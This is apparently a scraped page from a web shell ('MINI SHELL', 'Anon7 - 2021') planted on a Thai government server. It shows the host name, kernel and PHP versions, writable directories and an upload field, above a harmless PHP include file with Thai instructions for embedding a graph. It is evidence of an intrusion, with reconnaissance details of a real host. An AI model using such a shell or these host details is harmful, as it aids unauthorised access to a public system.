MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/ecomplain/bk_20100330/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/ecomplain/bk_20100330/graph.inc.php
<?
$graph_path = "http://123.242.173.136/graphservice/graphservice.php";  //Sapphire Graph
/* =========> How to use 
1. include ไฟล์ นี้
include ("timefunc.inc.php");



2. $daylist  และ $data1 
	ตัวอย่าง
	category=ภาคกลาง;ภาคใต้;ภาคตะวันออกเฉียงเหนือ 1;ภาคเหนือ;ภาคตะวันออกเฉียงเหนือ 2; 
	data1=1.30;0.97;1.29;1.04;1.12;






3. ประกอบ เข้าตัวแปร $graphurl 
$graphurl = $graph_path . "?category=$daylist&data1=$data1&outputstyle=&numseries=1&seriesname=&graphtype=column&title=$title&xname=ปีพ.ศ.&yname=จำนวน(ครั้ง)&subtitle=&graphstyle=srd_allvisible_sf_18";

4. กำหนดความสูง และ กว้างของ กราฟ
	$w1   $h1 


5. เรียกใช้ ใน tag html 
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="<?=$w1?>" height="<?=$h1?>">
<param name="movie" value="<?=$graphurl?>">
<param name="quality" value="high">
<embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="<?=$w1?>" height="<?=$h1?>"></embed>
</object>	


*/ 
?>

Anon7 - 2021